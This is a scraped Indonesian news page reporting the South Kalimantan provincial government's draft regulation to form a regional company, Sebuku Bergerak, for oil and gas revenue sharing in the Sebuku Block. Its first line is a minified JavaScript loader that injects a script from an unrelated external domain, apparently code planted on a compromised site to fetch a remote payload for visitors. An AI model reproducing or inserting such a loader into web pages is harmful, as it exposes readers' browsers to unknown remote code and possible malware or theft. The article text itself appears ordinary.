(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ingin Andil Bisnis Minyak dan Gas di Blok Sebuku, Ini Langkah Pemprov Kalsel


BANJARMASIN, Pembahasan Rancangan Perda (Raperda) tentang pembentukan perusahaan Sebuku Bergerak yang berlokasi di Blok Sebuku, Kabupaten Kotabaru, terus digodok. Terakhir, pembahasan dalam sidang paripurana dewan tersebut mengagendakan jawaban Gubernur Kalsel atas pandangan fraksi di DPRD.

Sekda Kalsel Abdul Haris Makie yang mewakili Gubernur Sahbirin Noor pada paripurna Senin (13/11) lalu mengungkapkan, pemerintah tidak perlu menyetorkan modal dalam mendirikan perusahaan daerah Sebuku Bergerak. Hal ini lantaran semua ditanggung oleh pihak kontraktor yang terlibat dalam kerjasama.

“Pembentukan perusahaan umum daerah yang baru dengan usul nama Sebuku Bergerak ini menangani bagi hasil minyak dan gas di Blok Sebuku, Kabupaten Kotabaru,” terangnya.

Menurut dia, rencana pembentukan perusahaan umum daerah tersebut telah sesuai ketentuan Pasal 334 ayat (1) Undang-Undang RI Nomor 23 tahun 2014 tentang Pemerintahan Daerah. Dimana perusahaan tersebut nantinya modalnya dimiliki satu tidak terbagi atas saham.

Haris Makie mengatakan, mengenai dokumen analisa investasi sebagai kelengkapan, pemprov telah bekerja sama dengan tim ahli Fakultas Ekonomi dan Bisnis ULM. Sebelumnya, sebanyak delapan fraksi di DPRD mendukung rencana pemerintah provinsi sempat membentuk perusahaan umum daerah dengan nama Sebuku Bergerak.

Dukungan tersebut dalam pembangan umum fraksi-fraksi terhadap Raperda tentang Perusahaan Umum Daerah Sebuku Bergerak disampaikan pada rapat paripurna DPRD dipimpin Ketua Dewan, H Burhanuddin.

Dalam penjelasan, pemprov mengatakan pembentukan Perusahaan Umum Daerah Sebuku Bergerak tersebut sebagai tindak lanjut surat Kepala Satuan Kerja Khusus Pelaksana Kegiatan Usaha Hulu Minyak dan Gas Bumi (SKK Migas).

Karena berdasar surat dari Kepala SKK Migas itu daerah penerima dana “participating interest” (termasuk Kalsel) hanya diberi waktu hingga sekitar pertengahan tahun 2018 untuk mendirikan BUMD tersebut.

Nah, dalam prose mendirikan BUMD baru tersebut Pemprov setempat mengajukan Raperda tentang Perusahaan Umum Daerah Sebuku Bergerak yang nanti menjadi Perda atau payung hukum atas pembentukan perusahaan itu. (robby)


Desy Arfianty

Recent Posts

Wabup Kapuas Kunjungi Kecamatan Kapuas Hulu dan Mandau Talawang

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More

11 jam ago

Unjuk Rasa di HSU, GOSTI: Berikan Jabatan ke Orang yang Bertanggung Jawab

‎KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More

12 jam ago

Pesan Edukatif Street Art Dakwah South Borneo Lewat Mural dan Grafiti

KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More

12 jam ago

Unjuk Rasa di Halaman DPRD HSU

KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More

13 jam ago

Wabup Balangan Serahkan Beasiswa Program KBP ke 1.511 Pelajar

KANALKALIMANTAN.COM, PARINGIN - Wakil Bupati (Wabup) Balangan, Akhmad Fauzi, menyerahkan beasiswa program Kartu Balangan Pintar… Read More

13 jam ago

DKISP Banjar Gelar Penandatanganan Pakta Integritas

KANALKALIMANTAN.COM, MARTAPURA – Kepala Dinas Komunikasi, Informatika, Statistik, dan Persandian (DKISP) Kabupaten Banjar HM Aidil… Read More

14 jam ago

This website uses cookies.